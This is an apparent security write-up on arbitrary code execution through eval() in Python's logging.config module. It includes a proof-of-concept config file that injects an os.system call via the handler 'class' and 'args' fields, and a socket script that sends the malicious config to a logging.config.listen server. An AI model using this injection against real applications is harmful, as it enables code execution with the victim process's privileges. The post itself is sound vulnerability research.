Python’s Security Considerations document lists following about the logging
module
eval()
is used to evaluate (execute) python expressions which makes it vulnerable to code execution if not used securely. Wondering how to exploit this potential weakness I started out with some Google searches but could not find any proof of concept code. So I decided to write one.
This is one of those low likelihood vulnerabilities where attacker must be able to modify the module configuration. When application loads malicious configuration, code is executed. Such attack is possible if write-access to configuration files is not restricted properly. Additionally, if an application exposes a socket server with logging.config.listen
to listen for new configurations, a local attacker may be able to execute code with privileges of the user that is running the process which calls logging
.
Looking at the code, eval()
is called three times by the _install_handlers()
function in logging/config.py
. First eval()
is called on klass
variable. Tracing the code back, cp
object passed in_install_handlers()
function, represents the configuration object parsed from the configuration file. It is easy to figure out that klass
variable is set to value of class
attribute of handler configuration in the config file.
def _install_handlers(cp, formatters):
"""Install and return handlers"""
hlist = cp["handlers"]["keys"]
if not len(hlist):
return {}
hlist = hlist.split(",")
hlist = _strip_spaces(hlist)
handlers = {}
fixups = [] #for inter-handler references
for hand in hlist:
section = cp["handler_%s" % hand]
klass = section["class"]
fmt = section.get("formatter", "")
try:
klass = eval(klass, vars(logging))
except (AttributeError, NameError):
klass = _resolve(klass)
args = section.get("args", '()')
args = eval(args, vars(logging))
kwargs = section.get("kwargs", '{}')
kwargs = eval(kwargs, vars(logging))
...
So arbitrary code can be executed by supplying executable code to the handler’s class
attribute in the configuration file.
When the application calls logging.config.fileConfig(logging.conf)
to load configuration from logging.conf
file, it loads the configuration file into a configuration object which is passed to _install_handlers()
function in turn executing code.
if isinstance(fname, configparser.RawConfigParser):
cp = fname
else:
cp = configparser.ConfigParser(defaults)
if hasattr(fname, 'readline'):
cp.read_file(fname)
else:
cp.read(fname)
formatters = _create_formatters(cp)
# critical section
logging._acquireLock()
try:
_clearExistingHandlers()
# Handlers add themselves to logging._handlers
handlers = _install_handlers(cp, formatters)
_install_loggers(cp, handlers, disable_existing_loggers)
finally:
logging._releaseLock()
Let’s create a simple proof of concept, consider following python code which is also available on Github:
# app.py
import logging.config
logging.config.fileConfig('bad-logger.conf')logger = logging.getLogger('simpleExample')
# 'application' code
logger.debug('debug message')
and bad-logger.conf
file with sample payload to write output of whoami
command to a file called whoami.txt
:
[loggers]
keys=root,simpleExample
[handlers]
keys=consoleHandler
[formatters]
keys=simpleFormatter
[logger_root]
level=DEBUG
handlers=consoleHandler
[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0
[handler_consoleHandler]
class=__import__('os').system('whoami > whoami.txt')
level=DEBUG
formatter=simpleFormatter
args=(sys.stdout,)
[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s
Running python3 app.py
will result in an error (since value of class
attribute needs to be a callable) but the code will be executed creating whoami.txt
file in the working directory.
The next usage of eval()
is on args
attribute and same trick works by passing a tuple (__import__('os').system('whoami > whoami.txt'),)
.
Now let’s consider the scenario where an application exposes a socket server with logging.config.listen
to listen for new configurations. Starting out with application code that listens for new logging configurations:
# config-server.pyimport logging.config
import timelogging.config.fileConfig('good-logger.conf')
t = logging.config.listen(9999)
t.start()
logger = logging.getLogger('simpleExample')
try:
while True:
# application code
logger.info('info message')
time.sleep(5)
except KeyboardInterrupt:
# cleanup
logging.config.stopListening()
t.join()
Basically the code above listens on localhost:9999
for new configuration files. An attacker or insider with access to the system running this application can easily send malicious configuration file to this socket server and execute code with higher privileges. Here is a script to do that:
# config-sender.pyimport socket, sys, struct
with open(sys.argv[1], 'rb') as f:
data_to_send = f.read()
HOST = 'localhost'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('connecting...')
s.connect((HOST, PORT))
print('sending config...')
s.send(struct.pack('>L', len(data_to_send)))
s.send(data_to_send)
s.close()
print('complete')
Run the script and pass malicious configuration file as the argument: python3 config-sender.py bad-logger.conf
to execute code with privileges of the user running logging application.